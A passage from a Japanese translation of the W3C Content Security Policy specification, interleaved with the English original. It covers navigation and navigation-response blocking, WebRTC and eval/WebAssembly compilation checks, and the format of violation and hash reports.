Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive’s name.
</li>
					<li>
%違反 の`資源$vr ~SET %~navi要請 の`~URL$rq
◎
Set violation’s resource to navigation request’s URL.
</li>
					<li>
`違反を報告する$A( %違反 )
◎
Execute § 5.5 Report a violation on violation.
</li>
					<li>
~IF［
%施策 の`処置先$ ~EQ `enforce^l
］
⇒
%結果 ~SET `阻止される^i
◎
If policy’s disposition is "enforce", then set result to "Blocked".
</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>
~IF［
%結果 ~EQ  `阻止される^i
］~OR［
%~navi要請 の`現在の~URL$rqの`~scheme$url ~NEQ `javascript^l
］
⇒
~RET %結果
◎
If result is "Allowed", and if navigation request’s current URL’s scheme is javascript:
</li>
	<li>
<p>
%~navi要請 の`施策~容器$rqの`~CSP~list$pCを成す
~EACH( %施策 )
に対し：
◎
For each policy of navigation request’s policy container’s CSP list:
</p>
		<ol>
			<li>
<p>
%施策 の`指令~集合$を成す
~EACH( %指令 )
に対し：
◎
For each directive of policy:
</p>
				<ol>
					<li>
%指令~名 ~LET `~inline検査~用に有効果な指令を取得する$A( `navigation^l )
◎
Let directive-name be the result of executing § 6.8.2 Get the effective directive for inline checks on "navigation".
</li>
					<li>
~IF［
%指令 の`~inline検査$A( ~NULL, `navigation^l, %施策, %~navi要請 の`現在の~URL$rq )
【！ ＊原文抜け 施策】
の結果 ~EQ `許容される^i
］
⇒
~CONTINUE
◎
If directive’s inline check returns "Allowed" when executed upon null, "navigation" and navigation request’s current URL, skip to the next directive.
</li>
					<li>
%違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, %指令~名 )
◎
Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive-name.
</li>
					<li>
%違反 の`資源$vr ~SET `inline^l
◎
Set violation’s resource to "inline".
</li>
					<li>
`違反を報告する$A( %違反 )
◎
Execute § 5.5 Report a violation on violation.
</li>
					<li>
~IF［
%施策 の`処置先$ ~EQ `enforce^l
］
⇒
%結果 ~SET `阻止される^i
◎
If policy’s disposition is "enforce", then set result to "Blocked".
</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>
~RET %結果
◎
Return result.
</li>
</ol>

			</section>
			<section id="should-block-navigation-response">
<h4 title="Should navigation response to navigation request of type in target be blocked by Content Security Policy?">4.2.5. ~targetにおける ある種別の~navi要請 に対する応答は~CSPにより阻止されるべきか？</h4>

<p>
この~algoは、
所与の (
`要請$ %~navi要請,
`応答$ %~navi応答,
`~CSP~list$ %応答~CSP~list,
文字列 %種別,
`~navigable$ %~target
)
に対し，［
作動中な施策が~naviを阻止するならば `阻止される^i ／
~ELSE_ `許容される^i
］を返す：
◎
Given a request navigation request, a response navigation response, a CSP list response CSP list, a string type (either "form-submission" or "other"), and a navigable target, this algorithm returns "Blocked" if the active policy blocks the navigation, and "Allowed" otherwise:
</p>
<ol>
	<li>
~Assert：
%種別 ~IN { `form-submission^l, `other^l }
◎
↑</li>
	<li>
%結果 ~LET `許容される^i
◎
Let result be "Allowed".
</li>
	<li>
<p>
%応答~CSP~list を成す
~EACH( %施策 )
に対し：
◎
For each policy of response CSP list:
</p>

<p class="note">注記：
一部の指令（ `frame-ancestors$dir など）は、
%応答 の`~CSP$が~naviに動作することを許容する。
◎
Note: Some directives (like frame-ancestors) allow a response’s Content Security Policy to act on the navigation.
</p>
		<ol>
			<li>
<p>
%施策 の`指令~集合$を成す
~EACH( %指令 )
に対し：
◎
For each directive of policy:
</p>
				<ol>
					<li>
~IF［
%指令 の`~navi応答~検査$A(
%~navi要請,
%種別,
%~navi応答,
%~target,
`response^l,
%施策
)
~EQ `許容される^i
］
⇒
~CONTINUE
◎
If directive’s navigation response check returns "Allowed" when executed upon navigation request, type, navigation response, target, "response", and policy skip to the next directive.
</li>
					<li>
<p>
%違反 ~LET `新たな違反~obj$A1( ~NULL, %施策, %指令 の`名前$ )
◎
Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on null, policy, and directive’s name.
</p>

<p class="note">注記：
大域~objは存在しないので、
大域~objとして ~NULL を利用する
— ~naviは、
 `Document^I が作成される所までは まだ処理されていない。
◎
Note: We use null for the global object, as no global exists: we haven’t processed the navigation to create a Document yet.
</p>
					</li>
					<li>
%違反 の`資源$vr ~SET %~navi応答 の`~URL$rs
◎
Set violation’s resource to navigation response’s URL.
</li>
					<li>
`違反を報告する$A( %違反 )
◎
Execute § 5.5 Report a violation on violation.
</li>
					<li>
~IF［
%施策 の`処置先$ ~EQ `enforce^l
］
⇒
%結果 ~SET `阻止される^i
◎
If policy’s disposition is "enforce", then set result to "Blocked".
</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>
<p>
%~navi要請 の`施策~容器$rqの`~CSP~list$pCを成す
~EACH( %施策 )
に対し：
◎
For each policy of navigation request’s policy container’s CSP list:
</p>

<p class="note">注記：
%~navi要請 における一部の指令（ `frame-ancestors$dir など）は、
~naviに動作する前に %応答 を必要とする。
◎
Note: Some directives in the navigation request’s context (like frame-ancestors) need the response before acting on the navigation.
</p>
		<ol>
			<li>
<p>
%施策 の`指令~集合$を成す
~EACH( %指令 )
に対し：
◎
For each directive of policy:
</p>
				<ol>
					<li>
~IF［
%指令 の`~navi応答~検査$A(
%~navi要請,
%種別,
%~navi応答,
%~target,
`source^l,
%施策
)
~EQ `許容される^i
］
⇒
~CONTINUE
◎
If directive’s navigation response check returns "Allowed" when executed upon navigation request, type, navigation response, target, "source", and policy skip to the next directive.
</li>
					<li>
%違反 ~LET `新たな違反~obj$A1( %~navi要請 の`~client$rqの`大域~obj$enV, %施策, %指令 の`名前$ )
◎
Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on navigation request’s client’s global object, policy, and directive’s name.
</li>
					<li>
%違反 の`資源$vr ~SET %~navi要請 の`~URL$rq
◎
Set violation’s resource to navigation request’s URL.
</li>
					<li>
`違反を報告する$A( %違反 )
◎
Execute § 5.5 Report a violation on violation.
</li>
					<li>
~IF［
%施策 の`処置先$ ~EQ `enforce^l
］
⇒
%結果 ~SET `阻止される^i
◎
If policy’s disposition is "enforce", then set result to "Blocked".
</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>
~RET %結果
◎
Return result.
</li>
</ol>

			</section>
			<section id="run-global-object-csp-initialization">
<h4 title="Run CSP initialization for a global object">4.2.6. 大域~obj用に~CSP初期化を走らす</h4>

<p>
次の~algoは、
所与の
( `大域~obj$ %大域~obj )
に対し，
%大域~obj 用の~CSPを初期化する。
この~algoは、
%大域~obj 【用の~scriptを走らすこと】は［
許容されるならば `許容される^i ／
許容されないならば `阻止される^i
］を返す：
◎
Given a global object global, the user agent performs the following steps in order to initialize CSP for global. This algorithm returns "Allowed" if global is allowed, and "Blocked" otherwise:
</p>
<ol>
	<li>
%大域~obj が`有する~CSP~list$を成す
~EACH( %施策 )
に対し
⇒
%施策 の`指令~集合$を成す
~EACH( %指令 )
に対し
⇒
~IF［
%指令 の`初期化$A( %大域~obj【, %施策】 ) の結果 ~EQ `阻止される^i
］
⇒
~RET `阻止される^i
◎
Let result be "Allowed".
◎
For each policy of global’s CSP list:
• For each directive of policy:
•• Execute directive’s initialization algorithm on global. If its returned value is "Blocked", then set result to "Blocked".
• Return result.
</li>
	<li>
~RET `許容される^i
◎
↑</li>
</ol>

			</section>
		</section>
		<section id="webrtc-integration">
<h3 title="Integration with WebRTC">4.3. ~WebRTCとの統合</h3>

<p>
<a lang="en" href="~TR/webrtc/#dfn-administratively-prohibited">administratively-prohibited</a> ~algo
【 “行政的に禁制される” かどうか決定する~algo？】
は、
`~WebRTC接続は大域~objに対し阻止されるべきか？$Aを~callする
— その結果が `阻止される^i ならば、
すべての候補を禁制する。
◎
The administratively-prohibited algorithm calls § 4.3.1 Should RTC connections be blocked for global? when invoked, and prohibits all candidates if it returns "Blocked".
</p>

			<section id="should-block-rtc-connection">
<h4 title="Should RTC connections be blocked for global?">4.3.1. ~WebRTC接続は大域~objに対し阻止されるべきか？</h4>

<p>
この~algoは、
所与の
( `大域~obj$ %大域~obj )
に対し，［
%大域~obj 用に作動中な施策は~WebRTC接続を阻止するならば `阻止される^i／
~ELSE_ `許容される^i
］を返す：
◎
Given a global object global, this algorithm returns "Blocked" if the active policy for global blocks RTC connections, and "Allowed" otherwise:
</p>
<ol>
	<li>
%結果 ~LET `許容される^i
◎
Let result be "Allowed".
</li>
	<li>
<p>
%大域~obj が`有する~CSP~list$を成す
~EACH( %施策 )
に対し：
◎
For each policy of global’s CSP list:
</p>
		<ol>
			<li>
<p>
%施策 の`指令~集合$を成す
~EACH( %指令 )
に対し：
◎
For each directive of policy:
</p>
				<ol>
					<li>
~IF［
%指令 の`~WebRTC接続前~検査$A()
の結果 ~EQ `許容される^i
］
⇒
~CONTINUE
◎
If directive’s webrtc pre-connect check returns "Allowed", continue.
</li>
					<li>
%違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, %指令 の`名前$ )
◎
Otherwise, let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and directive’s name.
</li>
					<li>
%違反 の`資源$vr ~SET ~NULL
◎
Set violation’s resource to null.
</li>
					<li>
`違反を報告する$A( %違反 )
◎
Execute § 5.5 Report a violation on violation.
</li>
					<li>
~IF［
%施策 の`処置先$ ~EQ `enforce^l
］
⇒
%結果 ~SET `阻止される^i
◎
If policy’s disposition is "enforce", then set result to "Blocked".
</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>
~RET %結果
◎
Return result.
</li>
</ol>

			</section>
		</section>
		<section id="ecma-integration">
<h3 title="Integration with ECMAScript">4.4. ~ESとの統合</h3>

<p>
~ESは、
`HostEnsureCanCompileStrings$jA() 抽象-演算を定義する
— それは、［
文字列から~ES~codeへの~compilationを阻止する
］ことを，~host環境に許容する。
この文書は、
この抽象-演算の実装を定義する
— それは、
関連な`~CSP~list$【！`~CSP~list$gO】を精査して，
そのような~compilationは阻止されるべきかどうか決定する。
◎
ECMAScript defines a HostEnsureCanCompileStrings() abstract operation which allows the host environment to block the compilation of strings into ECMAScript code. This document defines an implementation of that abstract operation which examines the relevant CSP list to determine whether such compilation ought to be blocked.
</p>

			<section id="can-compile-strings">
<h4 title="EnsureCSPDoesNotBlockStringCompilation(realm, parameterStrings, bodyString, codeString, compilationType, parameterArgs, bodyArg)">4.4.1. `EnsureCSPDoesNotBlockStringCompilation^jA( %~realm, %~parameter文字列~群, %本体~文字列, %~code文字列, %~compilation種別, %~parameter引数~群, %本体~引数 )</h4>

<p>
この~algoは、
所与の
⇒＃
`~realm$ %~realm,
文字列たちが成す~list %~parameter文字列~群,
文字列 %本体~文字列,
文字列 %~code文字列,
列挙値 %~compilation種別,
~ES言語~値たちが成す~list %~parameter引数~群,
~ES言語~値 %本体~引数
◎終
に対し，
文字列の~compilationは［
許容されるならば何もしない／
許容されないならば `EvalError$E を投出する
］：
◎
Given a realm realm, a list of strings parameterStrings, a string bodyString, a string codeString, an enum (compilationType), a list of ECMAScript language values (parameterArgs), and an ECMAScript language value (bodyArg), this algorithm returns normally if string compilation is allowed, and throws an "EvalError" if not:
</p>
<ol>
	<li>
%~source文字列 ~LET ε
◎
↓</li>
	<li>
~IF［
%~compilation種別 ~EQ `TIMER^l
］
⇒
%~source文字列 ~SET %~code文字列
◎
If compilationType is "TIMER", then:
• Let sourceString be codeString.
</li>
	<li>
<p>
~ELSE：
◎
Else:
</p>
		<ol>
			<li>
%~compilation~sink ~LET %~compilation種別 に応じて
⇒＃
`FUNCTION^l ならば `Function^l ／
~ELSE_ `eval^l
◎
Let compilationSink be "Function" if compilationType is "FUNCTION", and "eval" otherwise.
</li>
			<li>
%信用-済みか ~LET ~IS［
%本体~引数 は `TrustedScript$I を`実装-$する
］
◎
Let isTrusted be true if bodyArg implements TrustedScript, and false otherwise.
</li>
			<li>
<p>
~IF［
%信用-済みか ~EQ ~T
］~AND［
%本体~文字列 ~NEQ %本体~引数 の`~data$trS
］
⇒
%信用-済みか ~SET ~F
◎
If isTrusted is true then:
• If bodyString is not equal to bodyArg’s data, set isTrusted to false.
</li>
			<li>
<p>
~IF［
%信用-済みか ~EQ ~T
］：
◎
If isTrusted is true, then:
</p>
				<ol>
					<li>
~Assert:
%~parameter引数~群 の`~size$ ~EQ %~parameter文字列~群 の`~size$
◎
Assert: parameterArgs’ [list/size=] is equal to [parameterStrings]' size.
</li>
					<li>
<p>
`範囲$ { 0 〜 %~parameter引数~群 の`~size$ ~MINUS 1 } 
を成す
~EACH( %~index )
に対し：
◎
For each index of the range 0 to |parameterArgs]' [list/size=]:
</p>
						<ol>
							<li>
%引数 ~LET %~parameter引数~群[ %~index ]
◎
Let arg be parameterArgs[index].
</li>
							<li>
<p>
~IF［
%引数 は `TrustedScript$I を`実装-$する
］：
◎
If arg implements TrustedScript, then:
</p>
								<ol>
									<li>
~IF［
%~parameter文字列~群[ %~index ] ~NEQ %引数 の`~data$trS
］
⇒
%信用-済みか ~SET ~F
◎
if parameterStrings[index] is not equal to arg’s data, set isTrusted to false.
</li>
								</ol>
							</li>
							<li>
~ELSE
⇒
%信用-済みか ~SET ~F
◎
Otherwise, set isTrusted to false.
</li>
						</ol>
					</li>
				</ol>
			</li>
			<li>
%検証される~source ~LET `新たな~obj$( `TrustedScript$I, %~realm )
◎
Let sourceToValidate be a new TrustedScript object created in realm＼
</li>
			<li>
%検証される~source の`~data$trS ~SET %信用-済みか に応じて
⇒＃
~T ならば %~code文字列 ／
~F ならば %~code文字列 【？】
◎
whose data is set to codeString if isTrusted is true, and codeString otherwise.
</li>
			<li>
<p>
%~source文字列 ~SET `信用-済みな型に準拠な文字列を取得する$( ↓ )
⇒＃
`TrustedScript$I,
%~realm,
%検証される~source,
%~compilation~sink,
`script^l
◎
Let sourceString be the result of executing the Get Trusted Type compliant string algorithm, with TrustedScript, realm, sourceToValidate, compilationSink, and 'script'.
</p>

<p>
例外が投出されたときは、
~catchして
⇒
~THROW `EvalError$E
◎
If the algorithm throws an error, throw an EvalError.
</p>
			</li>
			<li>
~IF［
%~source文字列 ~NEQ %~code文字列
］
⇒
~THROW `EvalError$E
◎
If sourceString is not equal to codeString, throw an EvalError.
</li>
		</ol>
	</li>
	<li>
%結果 ~LET `許容される^i
◎
Let result be "Allowed".
</li>
	<li>
%大域~obj ~LET %~realm の`大域~obj$rM
◎
Let global be realm’s global object.
</li>
	<li>
<p>
%大域~obj が`有する~CSP~list$を成す
~EACH( %施策 )
に対し：
◎
For each policy of global’s CSP list:
</p>
		<ol>
			<li>
%~source~list ~LET ~NULL
◎
Let source-list be null.
</li>
			<li>
~IF［
%施策 の`指令~集合$内に［
`名前$ `script-src^l を伴う`指令$
］は在る
］
⇒
%~source~list ~SET その`指令$の`値$
◎
If policy contains a directive whose name is "script-src", then set source-list to that directive’s value.
</li>
			<li>
~ELIF［
%施策 の`指令~集合$内に［
`名前$ `default-src^l を伴う`指令$
］は在る
］
⇒
%~source~list ~SET その`指令$の`値$
◎
Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directive’s value.
</li>
			<li>
<div>
<p>
~IF［
~AND↓
］…
</p>
				<ul>
					<li>
%~source~list ~NEQ ~NULL
</li>
					<li>
<p>
~OR↓：
</p>
						<ul>
							<li>
`trusted-types-eval$pl ~NIN`大小無視$sub %~source~list
</li>
							<li>
次の結果 ~EQ ~F
⇒
`~sink型は信用-済みな型を要求するか？$( %~realm, `script^l【！'script'】, ~F )
</li>
						</ul>
					</li>
					<li>
`unsafe-eval$pl ~NIN`大小無視$sub %~source~list
</li>
				</ul>
<p>
…ならば：
</p>
◎
If source-list is not null:
• Let trustedTypesRequired be the result of executing Does sink type require trusted types?, with realm, 'script', and false.
• If trustedTypesRequired is true and source-list contains a source expression which is an ASCII case-insensitive match for the string "'trusted-types-eval'", then skip the following steps.
• If source-list contains a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", then skip the following steps.
</div>
				<ol>
					<li>
%違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, `script-src$dir )
◎
Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".
</li>
					<li>
%違反 の`資源$vr ~SET `eval^l
◎
Set violation’s resource to "eval".
</li>
					<li>
~IF［
`report-sample^pl ~IN %~source~list
］
⇒
%指令 の`見本$vr ~SET ［
%~source文字列 を成す最初から 40 個までの文字たち
］が成す文字列
◎
If source-list contains the expression "'report-sample'", then set violation’s sample to the substring of sourceString containing its first 40 characters.
</li>
					<li>
`違反を報告する$A( %違反 )
◎
Execute § 5.5 Report a violation on violation.
</li>
					<li>
~IF［
%施策 の`処置先$ ~EQ `enforce^l
］
⇒
%結果 ~SET `阻止される^i
◎
If policy’s disposition is "enforce", then set result to "Blocked".
</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>
~IF［
%結果 ~EQ `阻止される^i
］
⇒
~THROW `EvalError$E
◎
If result is "Blocked", throw an EvalError exception.
</li>
</ol>

			</section>
		</section>
		<section id="wasm-integration">
<h3 title="Integration with WebAssembly">4.5. ~WebAssemblyとの統合</h3>

<p>
~WebAssemblyは、
`HostEnsureCanCompileWasmBytes$jA() 抽象-演算を定義する
— それは、［
~WebAssembly~sourceから実行-可能~codeへの~compilationを阻止する
］ことを~host環境に許容する。
この文書は、
この抽象-演算の実装を定義する
— それは、
関連な大域~objが`有する~CSP~list$を精査して，そのような~compilationは阻止されるべきかどうか決定する。
◎
WebAssembly defines the HostEnsureCanCompileWasmBytes() abstract operation which allows the host environment to block the compilation of WebAssembly sources into executable code. This document defines an implementation of this abstract operation which examines the relevant CSP list to determine whether such compilation ought to be blocked.
</p>

			<section id="can-compile-wasm-bytes">
<h4 title="EnsureCSPDoesNotBlockWasmByteCompilationrealm(realm)">4.5.1. `EnsureCSPDoesNotBlockWasmByteCompilationrealm^jA( %~realm )</h4>

<p>
この~algoは、
所与の
( `~realm$ %~realm )
に対し，~WebAssembly~sourceの~compilationは［
許容されるならば何もしない／
許容されないならば `CompileError$E を投出する
］：
◎
Given a realm realm, this algorithm returns normally if compilation is allowed, and throws a WebAssembly.CompileError if not:
</p>
<ol>
	<li>
%大域~obj ~LET %~realm の`大域~obj$rM
◎
Let global be realm’s global object.
</li>
	<li>
%結果 ~LET `許容される^i
◎
Let result be "Allowed".
</li>
	<li>
<p>
%大域~obj が`有する~CSP~list$を成す
~EACH( %施策 )
に対し：
◎
For each policy of global’s CSP list:
</p>
		<ol>
			<li>
%~source~list ~LET ~NULL
◎
Let source-list be null.
</li>
			<li>
~IF［
%施策 の`指令~集合$内に［
`名前$ `script-src^l を伴う`指令$
］は在る
］
⇒
%~source~list ~SET その`指令$の`値$
◎
If policy contains a directive whose name is "script-src", then set source-list to that directive’s value.
</li>
			<li>
~ELIF［
%施策 の`指令~集合$内に［
`名前$ `default-src^l を伴う`指令$
］は在る
］
⇒
%~source~list ~SET その指令の`値$
◎
Otherwise if policy contains a directive whose name is "default-src", then set source-list to that directive’s value.
</li>
			<li>
<p>
~IF［
%~source~list ~NEQ ~NULL
］~AND［
"`unsafe-eval$pl" ~NIN`大小無視$sub %~source~list
］~AND［
"`wasm-unsafe-eval$pl" ~NIN`大小無視$sub %~source~list
］：
◎
If source-list is non-null, and does not contain a source expression which is an ASCII case-insensitive match for the string "'unsafe-eval'", and does not contain a source expression which is an ASCII case-insensitive match for the string "'wasm-unsafe-eval'", then:
</p>
				<ol>
					<li>
%違反 ~LET `新たな違反~obj$A1( %大域~obj, %施策, `script-src^l )
◎
Let violation be the result of executing § 2.4.1 Create a violation object for global, policy, and directive on global, policy, and "script-src".
</li>
					<li>
%違反 の`資源$vr ~SET `wasm-eval^l
◎
Set violation’s resource to "wasm-eval".
</li>
					<li>
`違反を報告する$A( %違反 )
◎
Execute § 5.5 Report a violation on violation.
</li>
					<li>
~IF［
%施策 の`処置先$ ~EQ `enforce^l
］
⇒
%結果 ~SET `阻止される^i
◎
If policy’s disposition is "enforce", then set result to "Blocked".
</li>
				</ol>
			</li>
		</ol>
	</li>
	<li>
~IF［
%結果 ~EQ `阻止される^i
］
⇒
~THROW `CompileError$E
◎
If result is "Blocked", throw a WebAssembly.CompileError exception.
</li>
</ol>

			</section>
		</section>
	</section>
	<section id="reporting">
<h2 title="Reporting">5. 報告-法</h2>

<p>
ある`施策$の指令のうち一つ以上が違反されたときは、
`~CSP違反~報告@
（ `csp violation report^en ）を生成して，［
`施策$に結付けられた`報告先$（ `reporting endpoint^en ）
］に向けて送信してもヨイ。
◎
When one or more of a policy’s directives is violated, a csp violation report may be generated and sent out to a reporting endpoint associated with the policy.
</p>

<p>
`~CSP違反~報告$の`報告~種別$は、
`csp-violation^l とする。
◎
csp violation reports have the report type "csp-violation".
</p>

<p>
`~CSP違反~報告$は、
`報告用~観測器から可視$であるとする。
◎
csp violation reports are visible to ReportingObservers.
</p>

<pre class="idl">
[`Exposed$=Window]
interface `CSPViolationReportBody@I : `ReportBody$I {
  [`Default$] object `toJSON@vB();
  readonly attribute `USVString$ `documentURL@vB;
  readonly attribute `USVString$? `referrer@vB;
  readonly attribute `USVString$? `blockedURL@vB;
  readonly attribute `DOMString$ `effectiveDirective@vB;
  readonly attribute `DOMString$ `originalPolicy@vB;
  readonly attribute `USVString$? `sourceFile@vB;
  readonly attribute `DOMString$? `sample@vB;
  readonly attribute `SecurityPolicyViolationEventDisposition$I `disposition@vB;
  readonly attribute `unsigned short$ `statusCode@vB;
  readonly attribute `unsigned long$? `lineNumber@vB;
  readonly attribute `unsigned long$? `columnNumber@vB;
};
</pre>

<p>
［
`行先$rqとして`~scriptに類する$ものを伴う`要請$
］が~fetchされるとき、
ある`施策$の`指令~集合$を成すある`指令$として［
そのような行先に影響iする
］かつ［
その`値$は［
`report-sha256$pl, `report-sha384$pl, `report-sha512$pl
］いずれかを含む
］ものが在る場合には、
`~CSP~hash報告@
と呼ばれる`報告$が生成され，
当の施策に結付けられた報告先†へ送信されることになる。
◎
When a directive that impacts script-like destinations has a report-sha256, report-sha384 or report-sha512 value, and a request with a script-like destination is fetched, a csp hash report will be generated and sent out to a reporting endpoint associated with the policy.
</p>

<p class="trans-note">【†
当の施策を成す `report-to$dir 指令に指定されたそれ
（そのような指令は無い場合、
送信されない）
— `必要なら~hashを報告する$Aを見よ。
】</p>

<p>
`~CSP~hash報告$の`報告~種別$は、
`csp-hash^l とする。
◎
csp hash reports have the report type "csp-hash".
</p>

<p>
`~CSP~hash報告$は、
`報告用~観測器から可視$でない。
◎
csp hash reports are not visible to ReportingObservers.
</p>

<div>
<p>
`~CSP~hash報告の本体@
— `~CSP~hash報告$の`本体$rP —
は、
次に挙げる~item【！field】からなる`構造体$である：
</p>
<ul>
	<li>
`文書~URL@hrB
（ `document_url^l ）
</li>
	<li>
`下位資源~URL@hrB
（ `subresource_url^l ）
</li>
	<li>
`~hash@hrB
（ `hash^l ）
</li>
	<li>
`行先@hrB
（ `destination^l ）
</li>
	<li>
`種別@hrB
（ `type^l ）
</li>
</ul>

<p class="trans-note">【
括弧内（この訳による補完）は、
~JSON~dataに変換される際の~key
— 下の例を見よ。
】</p>
◎
A csp hash report body is a struct with the following fields: documentURL, subresourceURL, hash, destination, type.
</div>

<div class="example">
<p>
ある文書【を~fetchしたとき】の応答が，次の~headerを包含していて：
◎
When a document’s response contains the headers:
</p>

<pre class="lang-http">
Reporting-Endpoints: hashes-endpoint="https://example.com/reports"
Content-Security-Policy: script-src 'self' 'report-sha256'; report-to hashes-endpoint
</pre>

<p>
当の文書が~script "`main.js^c" を読込むときには、
次に類似な報告が送信されことになる：
◎
and the document loads the script "main.js", a report similar to the following one will be sent:
</p>

<pre class="lang-http">
POST /reports HTTP/1.1
Host: example.com
...
Content-Type: application/reports+json

[{
  "type": "csp-hash-report",
  "age": 12,
  "url": "https://example.com/",
  "user_agent": "Mozilla/5.0 (X11; Linux i686; rv:132.0) Gecko/20100101 Firefox/132.0",
  "body": {
    "document_url": "https://example.com/",
    "subresource_url": "https://example.com/main.js",
    "hash": "sha256-85738f8f9a7f1b04b5329c590ebcb9e425925c6d0984089c43a022de4f19c281",
    "type": "subresource",
    "destination": "script"
  }
}]
</pre>
</div>

		<section id="violation-events">
<h3 title="Violation DOM Events">5.1. 違反~DOM~event</h3>

<pre class="idl">
enum `SecurityPolicyViolationEventDisposition@I {
  `enforce@l, `report@l
};

[`Exposed$=(Window,Worker)]
interface `SecurityPolicyViolationEvent@I : `Event$I {
    constructor(`DOMString$ %type, optional `SecurityPolicyViolationEventInit$I %eventInitDict = {});
    readonly attribute `USVString$      `documentURI@vE;
    readonly attribute `USVString$      `referrer@vE;
    readonly attribute `USVString$      `blockedURI@vE;
    readonly attribute `DOMString$      `effectiveDirective@vE;
    readonly attribute `DOMString$      `violatedDirective@vE; /* <span class="comment">
`effectiveDirective$vE の歴史的な別名
◎
historical alias of effectiveDirective
</span> */
    readonly attribute `DOMString$      `originalPolicy@vE;
    readonly attribute `USVString$      `sourceFile@vE;
    readonly attribute `DOMString$      `sample@vE;
    readonly attribute `SecurityPolicyViolationEventDisposition$I `disposition@vE;
    readonly attribute `unsigned short$ `statusCode@vE;
    readonly attribute `unsigned long$  `lineNumber@vE;
    readonly attribute `unsigned long$  `columnNumber@vE;
};

dictionary `SecurityPolicyViolationEventInit@I : `EventInit$I {

    `USVString$      `documentURI@vI = "";
    `USVString$      `referrer@vI = "";
    `USVString$      `blockedURI@vI = "";
    `DOMString$      `violatedDirective@vI = "";
    `DOMString$      `effectiveDirective@vI = "";
    `DOMString$      `originalPolicy@vI = "";
    `USVString$      `sourceFile@vI = "";
    `DOMString$      `sample@vI = "";
    `SecurityPolicyViolationEventDisposition$I `disposition@vI = "enforce";
    `unsigned short$ `statusCode@vI = 0;
    `unsigned long$  `lineNumber@vI = 0;
    `unsigned long$  `columnNumber@vI = 0;
};
</pre>

<p class="trans-note">【
`CSPViolationReportBody$I の［
`documentURL$vB ／ `blockedURL$vB
］と
`SecurityPolicyViolationEvent$I の［
`documentURI$vE ／ `blockedURI$vE
］は、
名前が異なることに注意（おそらく、
歴史的な理由から）。
】</p>

		</section>
		<section id="obtain-violation-blocked-uri">
<h3 title="Obtain the blockedURI of a violation’s resource">5.2. 違反の資源から~blockedURIを得する</h3>

<p>
次の~algoは、
所与の
( 違反の`資源$vr %資源 )
に対し，［
違反~報告の `blockedURI$vE【！blocked URI】 ~fieldに利用されることになる`文字列$
］を返す。
◎
Given a violation’s resource resource, this algorithm returns a string, to be used as the blocked URI field for violation reports.
</p>
<ol>
	<li>
~Assert：
%資源 は［
`~URL$／`文字列$
］である。
◎
Assert: resource is a URL or a string.
</li>
	<li>
~IF［
%資源 は`~URL$である
］
⇒
~RET `報告~内の利用-用に~URLを剥ぐ$A( %資源 )
◎
If resource is a URL, return the result of executing § 5.4 Strip URL for use in reports on resource.
</li>
	<li>
~RET %資源
◎
Return resource.
</li>
</ol>

		</section>
		<section id="deprecated-serialize-violation">
<h3 title="Obtain the deprecated serialization of violation">5.3. 違反の直列化を得する（非推奨d）</h3>

<p>
次の~algoは、
所与の
( `違反$ %違反 )
に対し， %違反 を表現する~JSON~text文字列を［［
非推奨にされた `report-uri$dir 指令
］に結付けられた`報告先$への提出に相応しい~~形
］にして返す：
◎
Given a violation violation, this algorithm returns a JSON text string representation of the violation, suitable for submission to a reporting endpoint associated with the deprecated report-uri directive.
</p>

<ol>
	<li>
<p>
%本体 ~LET 新たな`~map$
— 以下に従って初期化する：
◎
Let body be a map with its keys initialized as follows:
</p>
		<ol>
			<li>
%本体[ `document-uri^l ] ~SET
`報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~URL$vr )
◎
"document-uri"
• The result of executing § 5.4 Strip URL for use in reports on violation’s url.
</li>
			<li>
%本体[ `referrer^l ] ~SET
`報告~内の利用-用に~URLを剥ぐ$A( %違反 の`~referrer$vr )
◎
"referrer"
• The result of executing § 5.4 Strip URL for use in reports on violation’s referrer.
</li>
			<li>
%本体[ `blocked-uri^l ] ~SET `違反の資源から~blockedURIを得する$A( %違反 の`資源$vr )
◎
"blocked-uri"
• The result of executing § 5.2 Obtain the blockedURI of a violation’s resource on violation’s resource.
</li>
			<li>
%本体[ `effective-directive^l ] ~SET 
%違反 の`有効果な指令$vr
◎
"effective-directive"
• violation’s effective directive
</li>
			<li>
%本体[ `violated-directive^l ] ~SET
%違反 の`有効果な指令$vr
◎
"violated-directive"
• violation’s effective directive
</li>
			<li>
%本体[ `original-policy^l ] ~SET
%違反 の`施策$vrを`直列化-$した結果
◎
"original-policy"
• The serialization of violation’s policy
</li>
			<li>
%本体[ `disposition^l ] ~SET %違反 の`施策$vrの`処置先$
◎
"disposition"
• The disposition of violation’s policy
</li>
			<li>
%本体[ `status-code^l ] ~SET
%違反 の`状態s~code$vr
◎
"status-code"
• violation’s status
</li>
			<li>
<p>
%本体[ `script-sample^l ] ~SET %違反 の`見本$vr
◎
"script-sample"
• violation’s sample
</p>

<p class="note">注記：
名前 `script-sample^l が選ばれたのは、［
Firefox による~CSPの初期~実装で出荷された，この特能の早期実装
］との互換性を得るためである。
この名前にかかわらず，この~fieldは、
~stylesheetの様な，~script以外の違反に対する見本も包含することになる。
［
`SecurityPolicyViolationEvent$I ~obj ／
新たな `report-to$dir 指令を介して生成される報告
］内に包含される~dataは、
より包摂的な名前にされる
— `sample$vE のように。
◎
Note: The name script-sample was chosen for compatibility with an earlier iteration of this feature which has shipped in Firefox since its initial implementation of CSP. Despite the name, this field will contain samples for non-script violations, like stylesheets. The data contained in a SecurityPolicyViolationEvent object, and in reports generated via the new report-to directive, is named in a more encompassing fashion: sample.
</p>
